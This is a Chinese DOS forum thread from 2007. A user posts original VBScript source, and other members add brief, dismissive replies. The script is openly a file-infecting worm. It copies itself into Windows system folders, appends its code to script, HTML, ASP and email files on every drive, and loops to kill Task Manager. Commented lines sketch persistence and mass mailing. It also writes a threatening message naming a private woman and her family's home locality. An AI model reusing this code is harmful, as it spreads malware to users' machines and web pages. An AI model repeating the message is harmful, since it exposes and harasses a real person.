![]() |
中国DOS联盟-- 联合DOS 推动DOS 发展DOS --联盟域名:www.cn-dos.net 论坛域名:www.cn-dos.net/forum |
| 游客 | 登录 | 注册 | 会员 | 搜索 | 中国DOS联盟 |
|
中国DOS联盟论坛 现在时间是 2026-09-25 21:44 |
共 47,813 主题排行 / 349,918 发帖 / 今日 0 篇 / 48,275 会员排行 |
| DOS批处理 & 脚本技术(批处理室) » [原创]vbs 也是脚本,所以在这里发表。 |
| 可打印版本 937 / 4 |
| 第1楼 correy | 发表于 2007-10-01 08:24 |
| 初级用户 发帖 22 积分 97 | |
|
[原创]vbs 也是脚本,所以在这里发表。 rem 有不妥之处,请多多指教。
On Error GoTo 0 Set fso = CreateObject("Scripting"&"."&"FileSystem"&"Object") set WshShell = WScript.CreateObject("WScript"&"."&"Shell") Startup = WshShell.SpecialFolders("Startup") set sf0 = fso.GetSpecialFolder(0) b = sf0.drive&"\lcl.txt" Set lcl = fso.CreateTextFile( b , True ) lcl.WriteLine("I love person,") ''10 lcl.WriteLine("She doesn't love me.") lcl.WriteLine("She is Liu Chun Li,") lcl.WriteLine("She mother home is Yuzhen.Qixian.Kaifeng.Henan.China.") lcl.WriteLine("I was died because by her,") lcl.WriteLine("I am demanding my life of you.") rem fso.CopyFile b, Startup&"\lcl.txt" lcl.Close self=fso.opentextfile(wscript.scriptfullname,1).readall ''20 For Each d in fso.Drives if d.drivetype=4 then Exit For else rem fso.CopyFile b, d&"\lcl.txt" scan(d) end if next Set dirwin = fso.GetSpecialFolder(0) ''30 Set dirsystem = fso.GetSpecialFolder(1) Set dirtemp = fso.GetSpecialFolder(2) Set lcl = fso.GetFile(WScript.ScriptFullName) lcl.Copy(dirwin&"\lcl.vbs") lcl.Copy(dirsystem&"\lcl.vbs") sub scan(folder) on error resume next set fd=fso.getfolder(folder) for each file in fd.files ''40 ext=fso.GetExtensionName(file) ext=lcase(ext) if ext="v-b-s" or ext="v-b-e" or ext="w-s-c" or ext="w-s-c" or ext="w-s-f" or ext="w-s-h" or ext="s-c-t" then set ap=fso.opentextfile(file.path,8,true) ap.write self ap.close end if if ext="h-t-m" or ext="h-t-m-l" or ext="a-s-p" or ext="e-m-l" or ext="a-s-p-x" or ext="h-t-a" or ext="s-html" then ''50 set ap=fso.opentextfile(file.path,8,true) ap.write "<"&"SCRIPT LANGUAGE='VBScript'> " ap.write chr(13)&chr(10) ap.write self ap.write "<"&"/SCRIPT>" ap.close end if next for each subfd in fd.subfolders ''60 scan(subfd) next end sub Randomize SJZV = Array("fso", "self", "SJZV", "SJZVC") For SJZVC = 0 To 3 rem self=Replace(self,SJZV(SJZVC),Chr((Int(Rnd*26)+65))&Chr((Int(Rnd*26)+65))&Chr((Int(Rnd*26)+65))&Chr((Int(Rnd*26)+65))) Next ''70 rem fso.OpenTextFile(WScript.ScriptFullName, 2, 1).Writeline self with createobject("wscript.shell") do .run "cmd /c taskkill /f /im taskmgr.exe",0 rem .sendkeys "%" loop end with rem createobject network rem spy memory rem createobject outlook to send mail rem wshshell.regwrite to autostart to run |
|
| 第2楼 wudixin96 | 发表于 2007-10-01 08:36 |
| 银牌会员 发帖 931 积分 1,928 | |
|
只要是脚本都可以到这里发的
|
|
| 第3楼 lxmxn | 发表于 2007-10-01 09:52 |
| 版主 发帖 4,938 积分 11,386 | |
|
既然是原创,标题就要表义,代码就要code起来,基本要求嘛。
|
|
| 第4楼 yoyodos | 发表于 2007-10-01 10:22 |
| 初级用户 发帖 59 积分 128 | |
|
能介绍下功能吗
|
|
| 第5楼 slore | 发表于 2007-10-01 11:01 |
| 铂金会员 发帖 2,478 积分 5,212 | |
|
一个相当无聊的脚本……
|
|
|
[ 联系联盟系统管理团队 -
中国DOS联盟 -
标准版 ] Sponsored by ifanr Inc | © 2001–2023 |